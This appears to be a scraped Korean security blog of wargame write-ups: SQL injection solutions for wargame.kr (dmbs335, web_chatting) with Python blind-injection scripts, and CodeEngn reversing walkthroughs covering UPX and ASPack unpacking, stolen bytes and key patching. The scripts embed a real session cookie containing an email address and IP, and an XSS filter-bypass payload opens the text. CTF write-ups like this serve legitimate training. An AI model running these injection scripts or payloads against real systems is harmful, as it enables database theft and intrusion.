alert(document.cookie) -> alert.call(this, document.cookie)

'HACKING > Web hacking' 카테고리의 다른 글

php extract 취약점  (3) 2017.08.09
error based sql injection cheat sheet  (0) 2017.04.20
XST(Cross Site Tracing) 공격  (0) 2016.08.10
HTTP 응답코드 & HTTP Method 종류  (0) 2016.08.10
httponly 속성  (0) 2016.08.10


문제 화면입니다. SQL injection 문제네요.



문제에 들어가보면 이렇게 테이블이 주어집니다. 간단히 기능 학습을 해보고 view-source를 눌러보겠습니다.



눈에 띄는 코드는 $_SERVER['QUERY_STRING']  함수와 parse_str 함수입니다.

$_SERVER['QUERY_STRING']은 넘어온 값을 저장하는 것입니다.

ex) id=123&pw=123


그리고 parse_str은 인자를 php변수로 저장하는 함수입니다.

따라서 get 방식으로 보낸 값들이 php변수로 저장되는것입니다.


그리고 아래의 

$col preg_match('/^(subject|content|writer)$/isDU',$col) ? $col ''

if($col) { 

        $query_parts $col " like '%" $keyword "%'"
    } 


에서 $col변수에 preg_match 함수가 false가 나오도록 한 다음 get으로 $query_parts에 원하는 쿼리를 입력해서 넘기면 문제를 풀 수 있습니다.



query_parts = 1 union select 1,2,3,4 -- 를 입력하면 1234가 나옵니다. 이제 table_name을 뽑아보도록 하겠습니다.


information_schema에서 table 목록들을 뽑았습니다. 플래그가 있을법한 테이블이 하나 있네요.



테이블 이름은 Th1s_1s_Flag_tbl 입니다. 이제 칼럼 목록을 뽑아보겠습니다.



column_type과 column_name을 같이 뽑았습니다. 



f1ag 칼럼이 있네요 이제 테이블과 칼럼을 알았으니 칼럼에 있는 값을 뽑겠습니다.



flag가 나왔습니다.



'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr ip_log_table 풀이  (0) 2017.02.23
wargame.kr simple board  (0) 2017.02.19
wargame.kr web_chatting 650p  (0) 2016.10.04
wargame.kr jff3_magic 800p  (0) 2016.09.03
wargame.kr 4번 login filtering 450p  (0) 2016.07.25


문제 화면입니다.

sql injection 문제네요. 개발자 관점에서 생각해보라는 힌트가 주어졌습니다.



아이디를 입력하는 창이 나옵니다. 아무거나 입력보겠습니다.



간단한 채팅 화면이 나옵니다. 입력하면 조금의 딜레이가 있은 후 채팅이 실시간으로 보여집니다.



소스코드에서 chatlog.php?t=1을 해보면 어떤 수가 나옵니다. 채팅을 또 친 후 들어가보면 수가 늘어나 있습니다. 아마 현재까지 누적된 채팅 수와 관련이 있는것 같습니다.



소스코드에 나온대로 chatview.php?t=1&ni= 에서 20808을 입력하니 아무것도 안뜹니다. 하지만 20807을 넣으면 방금 입력한 채팅이 나옵니다.

그리고 20806을 입력하면 그 전 채팅까지 총 두개가 나옵니다. 

따라서 ni에 값을 입력하면 (제일 마지막에 입력한 채팅 number - 입력한 값) 까지 해서 그 수만큼 보여주는거로 추정됩니다.




그리고 ni에 인젝션을 시도해봤는데 먹히는걸로 봐선 이 부분을 통해 문제를 풀어야할것 같습니다.


union을 통해 select 해오겠습니다.



union 에선 select 하려면 이전 함께 가져오는 수를 맞춰줘야 하므로 개수를 추측하면서 select 해보니 다섯개를 select 하면 뽑을 수 있습니다.


제일 아래에 chat_log_secret이 제일 의심가는 테이블입니다. 연습을 위해 파이썬으로 테이블 개수를 가져오고 거기서 테이블명, 더 나아가 칼럼을 구해보도록 하겠습니다.







#테이블 개수
import urllib2, re, sys 

print "[+] Start!"
for i in range(50):
        dat = "t=1&ni=20798%20and%20if((select%20count(table_name)%20from%20information_schema.tables)="+str(i)+",20798,5555555)"
        url = "http://wargame.kr:8080/web_chatting/chatview.php?" + dat 
        req = urllib2.Request(url, headers={'Cookie': "chat_id=abc; ci_session=a%3A11%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2249534295bb79f7e2f039f2fb82eac59d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A12%3A%221.239.164.68%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A120%3A%22Mozilla%2F5.0+%28Macintosh%3B+Intel+Mac+OS+X+10_11_6%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F53.0.2785.116+Safari%2F537.3%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1475422473%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A3%3A%22sso%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22cys7885%40naver.com%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22kor%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22over+20%22%3Bs%3A5%3A%22point%22%3Bs%3A4%3A%229750%22%3Bs%3A14%3A%22last_auth_time%22%3Bi%3A1475414381%3B%7D0210942423309839f7ff2cee2270cedf37687cda",})
        res = urllib2.urlopen(req).read()
        if "font-size:12px;" in res:
                print "[+] SUCCESS!"
                print "[*] counting : " + str(i)
                break
                sys.exit(1)    



테이블의 개수는 0부터 41인덱스 까지 42개입니다.


#테이블 이름 추출
import urllib2, re

n = 0 
print "[+] Start!"
while(n<42):
        table = ""
        for i in range(40):
                for j in range(48,97):
                        dat = "t=1&ni=20798%20and%20if(substring((select%20table_name%20from%20information_schema.tables%20limit%20+"+str(n)+",1),"+str(i+1)+",1)=0x"+hex(j)[2:]+",20798,5555555)"
                        url = "http://wargame.kr:8080/web_chatting/chatview.php?"+dat
                        req = urllib2.Request(url, headers={'Cookie': "chat_id=abc; ci_session=a%3A11%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2249534295bb79f7e2f039f2fb82eac59d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A12%3A%221.239.164.68%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A120%3A%22Mozilla%2F5.0+%28Macintosh%3B+Intel+Mac+OS+X+10_11_6%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F53.0.2785.116+Safari%2F537.3%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1475422473%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A3%3A%22sso%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22cys7885%40naver.com%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22kor%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22over+20%22%3Bs%3A5%3A%22point%22%3Bs%3A4%3A%229750%22%3Bs%3A14%3A%22last_auth_time%22%3Bi%3A1475414381%3B%7D0210942423309839f7ff2cee2270cedf37687cda",})
                        res = urllib2.urlopen(req).read()
                        if "font-size:12px;" in res:
                                table += chr(j)
                                break
        print "find table : " + table
        n += 1
print "[+] Finish!"


제일 아래의 chat_log_secret 테이블이 나옵니다.


이제 칼럼의 수를 구해보겠습니다.


#칼럼 개수
import urllib2, re, sys 

print "[+] Start!"
for i in range(500):
        dat = "t=1&ni=20798%20and%20if((select%20count(column_name)%20from%20information_schema.columns)="+str(i)+",20798,5555555)"
        url = "http://wargame.kr:8080/web_chatting/chatview.php?" + dat 
        req = urllib2.Request(url, headers={'Cookie': "chat_id=abc; ci_session=a%3A11%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2249534295bb79f7e2f039f2fb82eac59d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A12%3A%221.239.164.68%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A120%3A%22Mozilla%2F5.0+%28Macintosh%3B+Intel+Mac+OS+X+10_11_6%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F53.0.2785.116+Safari%2F537.3%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1475422473%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A3%3A%22sso%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22cys7885%40naver.com%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22kor%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22over+20%22%3Bs%3A5%3A%22point%22%3Bs%3A4%3A%229750%22%3Bs%3A14%3A%22last_auth_time%22%3Bi%3A1475414381%3B%7D0210942423309839f7ff2cee2270cedf37687cda",})
        res = urllib2.urlopen(req).read()
        if "font-size:12px;" in res:
                print "[+] SUCCESS!"
                print "[*] counting : " + str(i)
                break
                sys.exit(1)


486개의 칼럼이 존재합니다. 이제 칼럼 이름을 알아내보도록 하겠습니다.



#칼럼 이름
import urllib, urllib2, re, sys, time, os

n = 0 
print "[+] Start!"
while(n<487):
        column = ""
        for i in range(40):
                for j in range(48,97):
                        dat = "t=1&ni=20798%20and%20if(substring((select%20column_name%20from%20information_schema.columns%20limit%20+"+str(n)+",1),"+str(i+1)+",1)=0x"+hex(j)[2:]+",20798,5555555)"
                        url = "http://wargame.kr:8080/web_chatting/chatview.php?"+dat
                        req = urllib2.Request(url, headers={'Cookie': "chat_id=abc; ci_session=a%3A11%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2249534295bb79f7e2f039f2fb82eac59d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A12%3A%221.239.164.68%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A120%3A%22Mozilla%2F5.0+%28Macintosh%3B+Intel+Mac+OS+X+10_11_6%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F53.0.2785.116+Safari%2F537.3%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1475422473%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A3%3A%22sso%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22cys7885%40naver.com%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22kor%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22over+20%22%3Bs%3A5%3A%22point%22%3Bs%3A4%3A%229750%22%3Bs%3A14%3A%22last_auth_time%22%3Bi%3A1475414381%3B%7D0210942423309839f7ff2cee2270cedf37687cda",})
                        res = urllib2.urlopen(req).read()
                        if "font-size:12px;" in res:
                                column += chr(j)
                                break
        print "find column : " + key 
        n += 1
print "[+] Finish!"

의심가는 칼럼은 readme입니다.



테이블과 칼럼을 구했으니 플래그를 구해보겠습니다.




import urllib2, re

print "[+] Start!"
flag = ""
for i in range(40):
        for j in range(48,97):
                dat = "t=1&ni=20798%20and%20if(substring((select%20readme%20from%20chat_log_secret%20limit%200,1),"+str(i+1)+",1)=0x"+hex(j)[2:]+",20798,55555)"
                url = "http://wargame.kr:8080/web_chatting/chatview.php?"+dat
                req = urllib2.Request(url, headers={'Cookie': "chat_id=abc; ci_session=a%3A11%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2249534295bb79f7e2f039f2fb82eac59d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A12%3A%221.239.164.68%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A120%3A%22Mozilla%2F5.0+%28Macintosh%3B+Intel+Mac+OS+X+10_11_6%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F53.0.2785.116+Safari%2F537.3%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1475422473%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A3%3A%22sso%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22cys7885%40naver.com%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22kor%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22over+20%22%3Bs%3A5%3A%22point%22%3Bs%3A4%3A%229750%22%3Bs%3A14%3A%22last_auth_time%22%3Bi%3A1475414381%3B%7D0210942423309839f7ff2cee2270cedf37687cda",})
                res = urllib2.urlopen(req).read()
                if "font-size:12px;" in res:
                        flag += chr(j)
                        break
print "[*] FLAG : " + flag 
print "[+] Finish!"

플래그를 구했습니다.



'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr simple board  (0) 2017.02.19
wargame.kr dmbs335 700p  (0) 2016.10.04
wargame.kr jff3_magic 800p  (0) 2016.09.03
wargame.kr 4번 login filtering 450p  (0) 2016.07.25
wargame.kr 3번 flee button 450p  (0) 2016.07.25


12번 문제입니다. 먼저 실행해보도록 하겠습니다.



위와 같이 MessageBox가 나오고 key를 적는 박스가 있습니다. 여기에 어떤 입력을 해도 반응이 없습니다.



ollydbg로 분석하면 ESI에 403000에 있는 긴 아스키 문자를 넣고 while문(분기문)으로 ESI가 0이 되면 분기문은 끝이납니다. 만약 아닐시엔 ESI에 4를 더합니다. 

즉, 무한루프에서 나오지 못한다는 겁니다.


그리고 40107D를 보면 EAX와 7A2896BF를 비교해서 congratulation이 나오는 곳으로 jmp합니다. 7A2896BF를 10진수로 변환하면 2049480383 입니다. 이게 우리가 찾는 key입니다.


그리고 문제에서 원하는 Hxd에서 congratulation..이 나오는 부분을 2049480383으로 바꾸면 됩니다. 




0D3B에서 0D45까지가 overwrite한 영역입니다. 마지막은 Null이 포함된것입니다.


'Wargame > CodeEngn challenge' 카테고리의 다른 글

CodeEngn basic Level 11 풀이  (0) 2016.09.30
CodeEngn basic Level 10 풀이  (0) 2016.09.30
CodeEngn basic Level 9 풀이  (0) 2016.09.13
CodeEngn basic Level 8 풀이  (0) 2016.09.12
CodeEngn basic Level 7 풀이  (0) 2016.09.12



11번 문제입니다. 

9번 문제와 비슷하게 stolenbyte를 구하고 거기에 OEP를 찾아서 적으면 풀리는 문제입니다. 간단합니다.



PEiD로 살펴보면 UPX 패킹이 되어있습니다.  올리디버거에서 살펴보겠습니다.



올리디버거에서 보면 PUSHAD가 나옵니다. 쭉 내리다 보면 POPAD가 나옵니다. 이 밑의 3줄이 StolenByte입니다. 


UPX로 언패킹 하고 올리디버거로 보면 OEP가 나옵니다. 이를 이어붙이면 정답입니다.







'Wargame > CodeEngn challenge' 카테고리의 다른 글

CodeEngn basic Level 12 풀이  (0) 2016.09.30
CodeEngn basic Level 10 풀이  (0) 2016.09.30
CodeEngn basic Level 9 풀이  (0) 2016.09.13
CodeEngn basic Level 8 풀이  (0) 2016.09.12
CodeEngn basic Level 7 풀이  (0) 2016.09.12

10번 문제입니다.



ASPacking이 되어있습니다. 먼저 이를 언패킹 하겠습니다.


언패킹하는 방법은 인터넷에 많이 나와있는데 저는 여길 참고했습니다.

http://www.iblue.kr/xe/index.php?document_srl=14782&mid=board_jmbm03


먼저 시작하면 PUSHAD가 나오는데 여기서 F8을 누른 후 ESP를 Dump합니다. 



HexDump 창에서 4바이트를 드래그하고 Dword로 BP를 겁니다.



그리고 F9를 눌러서 BP까지 가면 아래와 같습니다.



아직은 모양이 다 안나왔습니다. 컨트롤+A를 눌러서 코드를 정리하고 올리덤프로 저장합니다.



LordPE로 리빌드 해줍니다.



PEiD로 언패킹이 잘 되었나 확인해봅시다.



언패킹이 잘 되었습니다. 이제 문제에서 원하는 답을 찾아 보도록하겠습니다. OEP는 이미 찾았으므로 '등록성공'으로 가는 분기점의 opcode를 찾아내야겠군요.



Registered ... wel done! 문자열 위에 jnz 분기문이 있습니다. 여기의 opcode인 7555가 문제에서 원하는 답입니다.


따라서 답은 OEP + opcode = 답이겠군요.




'Wargame > CodeEngn challenge' 카테고리의 다른 글

CodeEngn basic Level 12 풀이  (0) 2016.09.30
CodeEngn basic Level 11 풀이  (0) 2016.09.30
CodeEngn basic Level 9 풀이  (0) 2016.09.13
CodeEngn basic Level 8 풀이  (0) 2016.09.12
CodeEngn basic Level 7 풀이  (0) 2016.09.12

php로 웹 개발할때 date함수를 사용하면 아래와 같은 warning이 뜹니다.

Warning: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in

이 경고를 해결하기 위한 방법입니다.


1. /etc/php.ini 에서 datatimezone = Asia/Seoul 로 바꿔줍니다. 



2. php 위에 date_default_timezone_set('Asia/Seoul'); 를 추가합니다.

'Language > PHP' 카테고리의 다른 글

IF문에서 신기한것  (0) 2017.12.18


9번 문제입니다. stolenbyte를 구하라고 합니다.

무엇인지 모르지만 먼저 exe파일을 받겠습니다.



파일을 실행하면 위와 같은 창이 나오고 프로그램이 종료됩니다.



PEID로 보면 upx패킹이 된것을 알 수 있습니다.

이젠 반사적으로 upx툴을 이용해 언패킹하네요.

그런데 언패킹을 하면 정상적으로 실행되지 않고 아래와 같이 실행됩니다.



무언가가 깨진것 같습니다. 여기서 stolenbyte가 무엇인지 살펴보겠습니다.


패킹을 할 때 맨 아래에 위치한 jmp 전에 OEP 아래에 존재해야 할 코드를 jmp문 위로 stolen(훔친) 하는 기법입니다. 

이를 통해 리버싱을 어렵게 하는 방법입니다.


그렇다면 jmp 문 위를 잘 살펴보면 



이같은 코드들이 나옵니다. 아마도 stolenbyte가 이 부분인것 같습니다.


이 부분을 원래의 위치로 되돌려 놓으면 정상적으로 언패킹 되어 실행 될 것 이라 예상됩니다.



NOP 위치에 opcode를 채워 넣었습니다.


그리고 ollydump로 저장합니다.



이제 정상적으로 실행 됩니다.



codeengn의 정답은 stolenbyte를 쭈욱 나열하면 됩니다.




'Wargame > CodeEngn challenge' 카테고리의 다른 글

CodeEngn basic Level 11 풀이  (0) 2016.09.30
CodeEngn basic Level 10 풀이  (0) 2016.09.30
CodeEngn basic Level 8 풀이  (0) 2016.09.12
CodeEngn basic Level 7 풀이  (0) 2016.09.12
CodeEngn basic Level 6 풀이  (0) 2016.09.11


8번 문제입니다. OEP를 구하는 문제네요.



PEID로 보면 upx 패킹이 되어있습니다.

upx툴로 풀어도 되지만 이번에는 직접 ollydbg manual unpacking 해보겠습니다.



ollydbg로 실행하면 packing 에 의해 엉뚱한곳에 ep가 설정되어있습니다.


upx는 마지막 줄에 jmp로 OEP로 가는 구조입니다. 아래로 내려보시면 확인할 수 있습니다.



1012475로 jmp해 가는군요. 그렇다면 저기가 바로 우리가 구해야할 OEP라는 소리입니다. 답은 나왔지만 unpack 해보겠습니다.



F9에서 F8로 OEP로 왔습니다. 정말 익숙한 모습입니다.



마우스 오른쪽 버튼을 눌러서 ollydump 플러그인을 실행시킵니다. ollydump는 아래 버튼을 눌러주시면 됩니다.




Rebuild Import 버튼을 해제 하고

Dump 버튼을 누르시고 저장하시면 됩니다.


하지만 그냥 실행하면 정상적으로 실행되지 않습니다. 그래서 LordPE라는 툴을 이용해 정상적으로 실행되게 하겠습니다.









PEID로 확인해보면 언패킹 된것을 확인할 수 있습니다.






'Wargame > CodeEngn challenge' 카테고리의 다른 글

CodeEngn basic Level 10 풀이  (0) 2016.09.30
CodeEngn basic Level 9 풀이  (0) 2016.09.13
CodeEngn basic Level 7 풀이  (0) 2016.09.12
CodeEngn basic Level 6 풀이  (0) 2016.09.11
CodeEngn basic Level 5 풀이  (0) 2016.09.11


7번 문제입니다.




MASM32 / TASM32 [Overlay] 가 정확히 뭔지 모르나 구글에 치면 어셈블리어라고 대충 눈치 챘습니다. 



07.exe를 그냥 실행하면 위와 같은 결과를 보여줍니다.

ollydbg로 분석을 해보겠습니다.



문자열을 검색하면 실패시 나오는 결과문자열과 성공시 나올것으로 예상되는 문자열이 나옵니다.

성공시 나올것 같은 문자열로 더블클릭으로 이동하겠습니다.




4010ff에서 분기문으로 성공과 실패가 나뉘어집니다.

그렇다면 분기문 위를 디버깅 해봐야하겠군요.



StringToAdd 에 4562-ABEX라는 string이 있습니다. 그리고 문제에서 제시된 c드라이브의 이름을 저장하는 버퍼인 VolumeNameBuffer가 40225c에 위치하고있는데 이 곳에 CodeEngn으로 채워넣고 디버깅을 하면 ConcatString에 이 값이 들어가게 됩니다.



그리고 반복문을 통해 CodeEngn에서 'Code' 까지 1씩 더하는 과정을 2번 하게됩니다.

결과는 직접 해보시기 바랍니다.







'Wargame > CodeEngn challenge' 카테고리의 다른 글

CodeEngn basic Level 9 풀이  (0) 2016.09.13
CodeEngn basic Level 8 풀이  (0) 2016.09.12
CodeEngn basic Level 6 풀이  (0) 2016.09.11
CodeEngn basic Level 5 풀이  (0) 2016.09.11
CodeEngn basic Level 4 풀이  (0) 2016.09.11

+ Recent posts